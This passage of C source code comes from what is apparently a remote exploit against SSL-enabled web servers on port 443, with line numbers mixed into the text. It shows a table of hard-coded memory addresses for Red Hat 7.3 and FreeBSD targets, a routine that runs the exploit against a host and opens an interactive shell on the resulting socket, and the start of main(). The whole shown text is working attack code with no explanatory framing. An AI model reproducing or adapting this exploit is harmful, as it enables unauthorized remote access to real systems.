23 } targets;
24
25
targets target[] = {
26 {0x080850a0, 0xbfffda38, "redhat 7.3 (Valhalla)"},
27 {0x080850a0, 0xbfffda38, "test"},
28 {0x0, 0xbfbfdca8, "freebsd"},
29 };
30
31
targets *my_target;
32 int target_num = sizeof(target) / sizeof(*target);
33
34
void
35 sighandler(int sig)
36 {
37 int sockfd, rand_port;
38
39
putchar('\n');
40
41
rand_port = 1+(int) (65535.0 * rand() / (RAND_MAX + 31025.0));
42
43
putchar('\n');
44
45
populate(host, 80, con_num, do_ssl, rand_port);
46
47
printf("performing exploitation..\n");
48 sockfd = exploit(host, port, brute_addr, 0xbfffda38 , rand_port);
49
50
if(sockfd > 0)
51 shell(sockfd);
52 }
53
54
int
55 main(int argc, char **argv)
56 {
57 char opt;
58 char *p;
59 u_long addr = 0;
60 int sockfd, ver, i;
61
62
ver = -1;
63 port = 443;
64 do_ssl = 0;
65 ...